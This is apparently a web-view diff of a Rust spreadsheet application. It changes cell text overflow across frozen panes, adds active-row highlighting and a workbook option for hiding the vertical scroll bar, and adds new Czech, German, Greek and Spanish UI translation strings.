let in_merge = |cell| merges.iter().find(|m| m.contains(cell)).copied();
let empty_ok = |cell| sh.value_ref(cell).is_none_or(Value::is_empty) && in_merge(cell).is_none();
// Text overflows only into empty cells of its own pane: the frozen and scrolled columns move
// apart when scrolling (#2544).
let empty_ok = |cell: CellRef| geo.same_col_pane(cell.col, c.col) && sh.value_ref(cell).is_none_or(Value::is_empty) && in_merge(cell).is_none();
if paint_cell_decorations(q, c, *rect, lk, cfl.as_ref()) {
return;
}
@@ -430,7 +435,8 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option<CfLo
{
let base_w = w;
let cw = p.layout_no_wrap(ch.to_string(), font.clone(), color).size().x.max(1.0);
let n = (((avail_w - 2.0 * pad) - base_w) / cw).floor().max(0.0) as usize;
// A merged cell's width counts offscreen columns: no screen shows more repeats than this.
let n = ((((avail_w - 2.0 * pad) - base_w) / cw).floor().max(0.0) as usize).min(MAX_FILL_REPEATS);
let mut s = first_line.clone();
if first_line.is_char_boundary(pos) {
s.insert_str(pos, &ch.to_string().repeat(n));
@@ -454,12 +460,12 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option<CfLo
let mut right = rect.right();
let mut left = rect.left();
if across_end > c.col {
right = geo.x(sh, across_end + 1);
right = geo.x_end(sh, across_end);
}
if matches!(halign, HAlign::Left | HAlign::Center | HAlign::Justify) {
let mut cc = c.col + 1;
while right - rect.left() < w + 2.0 * pad && cc < MAX_COLS && empty_ok(CellRef::new(c.row, cc)) && cc <= c1 + 20 {
right = geo.x(sh, cc + 1);
right = geo.x_end(sh, cc);
cc += 1;
}
}
@@ -478,9 +484,11 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option<CfLo
let extra_r = Rect::from_min_max(pos2(rect.right() - 1.0, inner.top()), inner.max);
if extra_l.width() > 0.0 {
p.rect_filled(extra_l, 0.0, t.grid_bg);
paint_active_row(q, Some(extra_l));
}
if extra_r.width() > 0.0 {
p.rect_filled(extra_r, 0.0, t.grid_bg);
paint_active_row(q, Some(extra_r));
}
}
}
+24 -2
View File
@@ -20,7 +20,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) {
let available = ui.available_rect_before_wrap();
// A right-to-left sheet has its vertical scrollbar on the left.
let rtl = app.session.active().and_then(|d| d.wb.active()).is_some_and(|s| s.right_to_left);
let bar = 14.0_f32.min(available.width());
let bar = vertical_bar_width(app, available);
let rect = if rtl {
Rect::from_min_max(pos2(available.left() + bar, available.top()), available.max)
} else {
@@ -213,6 +213,12 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) {
update_clipboard_repaint(app, ui, now);
}
/// The vertical scroll bar's width: none when the workbook hides it (File › Options ›
/// Display options for this workbook), and the grid takes its room.
fn vertical_bar_width(app: &SheetApp, available: Rect) -> f32 {
if app.session.active().is_none_or(|d| d.wb.view.show_vertical_scroll) { 14.0_f32.min(available.width()) } else { 0.0 }
}
fn vertical_scroll_track(available: Rect, grid: Rect, rtl: bool) -> (f32, f32) {
if rtl { (available.left(), grid.left()) } else { (grid.right(), available.right()) }
}
@@ -404,7 +410,19 @@ fn paint_panes(input: PanesInput<'_>, cf: &mut CfCache) -> Vec<PaneQuad> {
continue;
}
let p = painter.with_clip_rect(*clip);
paint_quadrant(QuadrantPaint { painter: &p, geo, workbook: wb, sheet_index: si, sheet: sh, rows: *rows, cols: *cols, cf, tokens: t });
let active_row = app.ui.highlight_active_row.then_some(sel.active.row);
paint_quadrant(QuadrantPaint {
painter: &p,
geo,
workbook: wb,
sheet_index: si,
sheet: sh,
rows: *rows,
cols: *cols,
cf,
tokens: t,
active_row,
});
paint_selection(SelectionPaintInput { painter: &p, geo, sheet: sh, selection: sel, outline, tokens: t, app, rows: *rows, cols: *cols });
}
// Freeze lines.
@@ -420,6 +438,10 @@ fn paint_panes(input: PanesInput<'_>, cf: &mut CfCache) -> Vec<PaneQuad> {
/// The worksheet is painted virtually, so it needs its own scrollbar rather than a
/// ScrollArea containing all million rows. Keep the scroll extent stable during a drag.
fn vertical_scrollbar(app: &mut SheetApp, ui: &mut egui::Ui, sh: &Sheet, geo: &Geo, track_x: (f32, f32), limit: f32, t: &Tokens) {
// A workbook that hides its vertical scroll bar leaves it no width.
if track_x.1 <= track_x.0 {
return;
}
let track = Rect::from_min_max(pos2(track_x.0, geo.cells.top() + geo.frozen_h), pos2(track_x.1, geo.cells.bottom()));
if track.height() <= 0.0 || track.width() <= 0.0 {
return;
+21
View File
@@ -246,6 +246,15 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Convert to Comments" => "Převést na komentáře",
"Checkbox" => "Zaškrtávací políčko",
"Insert checkboxes in the selected cells" => "Vložit zaškrtávací políčka do vybraných buněk",
"Button" => "Tlačítko",
"Slider" => "Posuvník",
"Spin Button" => "Číselník",
"Draw a button that runs a macro or a command" => "Nakreslit tlačítko, které spustí makro nebo příkaz",
"Draw a slider that sets a whole number in a linked cell" => "Nakreslit posuvník, který nastaví celé číslo v propojené buňce",
"Draw a spin button that steps a whole number in a linked cell" => "Nakreslit číselník, který po krocích mění celé číslo v propojené buňce",
"Edit Text" => "Upravit text",
"Assign Action…" => "Přiřadit akci…",
"Format Control…" => "Formát ovládacího prvku…",
"Sheet\nRight-to-Left" => "List zprava\ndoleva",
"Sheet Right-to-Left" => "List zprava doleva",
"Data\nAnalysis" => "Analýza\ndat",
@@ -335,6 +344,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Options|General" => "Obecné",
"Options|Save" => "Uložit",
"Show formula bar" => "Zobrazit řádek vzorců",
"Highlight the active cell's row" => "Zvýraznit řádek aktivní buňky",
"Display options for this workbook" => "Možnosti zobrazení pro tento sešit",
"Show horizontal scroll bar" => "Zobrazit vodorovný posuvník",
"Show vertical scroll bar" => "Zobrazit svislý posuvník",
"Show sheet tabs" => "Zobrazit karty listů",
"Edit Hyperlink…" => "Upravit hypertextový odkaz…",
"Edit Hyperlink" => "Upravit hypertextový odkaz",
"Open Hyperlink" => "Otevřít hypertextový odkaz",
"Remove Hyperlink" => "Odebrat hypertextový odkaz",
"Resize formula bar" => "Změnit velikost řádku vzorců",
"Enable AutoComplete for cell values" => "Povolit automatické dokončování hodnot buněk",
"Save .xlsx workbooks automatically after every change" => "Automaticky ukládat sešity .xlsx po každé změně",
"Workbook calculation" => "Výpočet sešitu",
@@ -371,6 +390,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Legend: Bottom" => "Legenda: dole",
"Legend: Top" => "Legenda: nahoře",
"Legend: Right" => "Legenda: vpravo",
"First slice angle" => "Úhel prvního výseku",
"Doughnut hole size" => "Velikost otvoru prstence",
"Gridlines: None" => "Mřížka: žádná",
"Gridlines: Show" => "Mřížka: zobrazit",
"Chart\nTitle" => "Název\ngrafu",
+25
View File
@@ -260,6 +260,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Convert to Comments" => "In Kommentare konvertieren",
"Checkbox" => "Kontrollkästchen",
"Insert checkboxes in the selected cells" => "Kontrollkästchen in die ausgewählten Zellen einfügen",
"Button" => "Schaltfläche",
"Slider" => "Schieberegler",
"Spin Button" => "Drehfeld",
"Draw a button that runs a macro or a command" => "Eine Schaltfläche zeichnen, die ein Makro oder einen Befehl ausführt",
"Draw a slider that sets a whole number in a linked cell" => {
"Einen Schieberegler zeichnen, der eine ganze Zahl in einer verknüpften Zelle festlegt"
}
"Draw a spin button that steps a whole number in a linked cell" => {
"Ein Drehfeld zeichnen, das eine ganze Zahl in einer verknüpften Zelle schrittweise ändert"
}
"Edit Text" => "Text bearbeiten",
"Assign Action…" => "Aktion zuweisen…",
"Format Control…" => "Steuerelement formatieren…",
"Sheet\nRight-to-Left" => "Blatt von rechts\nnach links",
"Sheet Right-to-Left" => "Blatt von rechts nach links",
"Data\nAnalysis" => "Daten-\nanalyse",
@@ -350,6 +363,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Options|General" => "Allgemein",
"Options|Save" => "Speichern",
"Show formula bar" => "Bearbeitungsleiste anzeigen",
"Highlight the active cell's row" => "Zeile der aktiven Zelle hervorheben",
"Display options for this workbook" => "Optionen für die Anzeige dieser Arbeitsmappe",
"Show horizontal scroll bar" => "Horizontale Bildlaufleiste anzeigen",
"Show vertical scroll bar" => "Vertikale Bildlaufleiste anzeigen",
"Show sheet tabs" => "Blattregisterkarten anzeigen",
"Edit Hyperlink…" => "Link bearbeiten…",
"Edit Hyperlink" => "Link bearbeiten",
"Open Hyperlink" => "Link öffnen",
"Remove Hyperlink" => "Link entfernen",
"Resize formula bar" => "Größe der Bearbeitungsleiste ändern",
"Enable AutoComplete for cell values" => "AutoVervollständigen für Zellwerte aktivieren",
"Save .xlsx workbooks automatically after every change" => ".xlsx-Arbeitsmappen nach jeder Änderung automatisch speichern",
"Workbook calculation" => "Arbeitsmappenberechnung",
@@ -384,6 +407,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Legend: Bottom" => "Legende: Unten",
"Legend: Top" => "Legende: Oben",
"Legend: Right" => "Legende: Rechts",
"First slice angle" => "Winkel des ersten Segments",
"Doughnut hole size" => "Größe des Ringlochs",
"Gridlines: None" => "Gitternetzlinien: Keine",
"Gridlines: Show" => "Gitternetzlinien: Anzeigen",
"Chart\nTitle" => "Diagramm-\ntitel",
+13
View File
@@ -239,6 +239,17 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Convert to Comments" => "Μετατροπή σε σχόλια",
"Checkbox" => "Πλαίσιο ελέγχου",
"Insert checkboxes in the selected cells" => "Εισαγωγή πλαισίων ελέγχου στα επιλεγμένα κελιά",
"Button" => "Κουμπί",
"Slider" => "Ρυθμιστικό",
"Spin Button" => "Κουμπί περιστροφής",
"Draw a button that runs a macro or a command" => "Σχεδίαση κουμπιού που εκτελεί μια μακροεντολή ή μια εντολή",
"Draw a slider that sets a whole number in a linked cell" => "Σχεδίαση ρυθμιστικού που ορίζει έναν ακέραιο αριθμό σε ένα συνδεδεμένο κελί",
"Draw a spin button that steps a whole number in a linked cell" => {
"Σχεδίαση κουμπιού περιστροφής που αλλάζει κατά βήματα έναν ακέραιο αριθμό σε ένα συνδεδεμένο κελί"
}
"Edit Text" => "Επεξεργασία κειμένου",
"Assign Action…" => "Αντιστοίχιση ενέργειας…",
"Format Control…" => "Μορφοποίηση στοιχείου ελέγχου…",
"Sheet\nRight-to-Left" => "Φύλλο από\nδεξιά προς αριστερά",
"Sheet Right-to-Left" => "Φύλλο από δεξιά προς αριστερά",
"Data\nAnalysis" => "Ανάλυση\nδεδομένων",
@@ -342,6 +353,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Legend: Bottom" => "Υπόμνημα: κάτω",
"Legend: Top" => "Υπόμνημα: επάνω",
"Legend: Right" => "Υπόμνημα: δεξιά",
"First slice angle" => "Γωνία πρώτης φέτας",
"Doughnut hole size" => "Μέγεθος οπής ντόνατ",
"Gridlines: None" => "Γραμμές πλέγματος: καμία",
"Gridlines: Show" => "Γραμμές πλέγματος: εμφάνιση",
"Chart\nTitle" => "Τίτλος\nγραφήματος",
+25
View File
@@ -249,6 +249,19 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Convert to Comments" => "Convertir en comentarios",
"Checkbox" => "Casilla",
"Insert checkboxes in the selected cells" => "Insertar casillas en las celdas seleccionadas",
"Button" => "Botón",
"Slider" => "Control deslizante",
"Spin Button" => "Control de número",
"Draw a button that runs a macro or a command" => "Dibujar un botón que ejecuta una macro o un comando",
"Draw a slider that sets a whole number in a linked cell" => {
"Dibujar un control deslizante que establece un número entero en una celda vinculada"
}
"Draw a spin button that steps a whole number in a linked cell" => {
"Dibujar un control de número que cambia un número entero en una celda vinculada"
}
"Edit Text" => "Modificar texto",
"Assign Action…" => "Asignar acción…",
"Format Control…" => "Formato de control…",
"Sheet\nRight-to-Left" => "Hoja de derecha\na izquierda",
"Sheet Right-to-Left" => "Hoja de derecha a izquierda",
"Data\nAnalysis" => "Análisis\nde datos",
@@ -337,6 +350,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Options|General" => "General",
"Options|Save" => "Guardar",
"Show formula bar" => "Mostrar barra de fórmulas",
"Highlight the active cell's row" => "Resaltar la fila de la celda activa",
"Display options for this workbook" => "Opciones de presentación para este libro",
"Show horizontal scroll bar" => "Mostrar barra de desplazamiento horizontal",
"Show vertical scroll bar" => "Mostrar barra de desplazamiento vertical",
"Show sheet tabs" => "Mostrar pestañas de hojas",
"Edit Hyperlink…" => "Modificar hipervínculo…",
"Edit Hyperlink" => "Modificar hipervínculo",
"Open Hyperlink" => "Abrir hipervínculo",
"Remove Hyperlink" => "Quitar hipervínculo",
"Resize formula bar" => "Cambiar el tamaño de la barra de fórmulas",
"Enable AutoComplete for cell values" => "Habilitar Autocompletar para valores de celda",
"Save .xlsx workbooks automatically after every change" => "Guardar automáticamente los libros .xlsx tras cada cambio",
"Workbook calculation" => "Cálculo del libro",
@@ -371,6 +394,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> {
"Legend: Bottom" => "Leyenda: abajo",
"Legend: Top" => "Leyenda: arriba",
"Legend: Right" => "Leyenda: derecha",
"First slice angle" => "Ángulo del primer sector",
"Doughnut hole size" => "Tamaño del orificio del anillo",
"Gridlines: None" => "Líneas de cuadrícula: ninguna",
"Gridlines: Show" => "Líneas de cuadrícula: mostrar",
"Chart\nTitle" => "Título\ndel gráfico",

Some files were not shown because too many files have changed in this diff Show More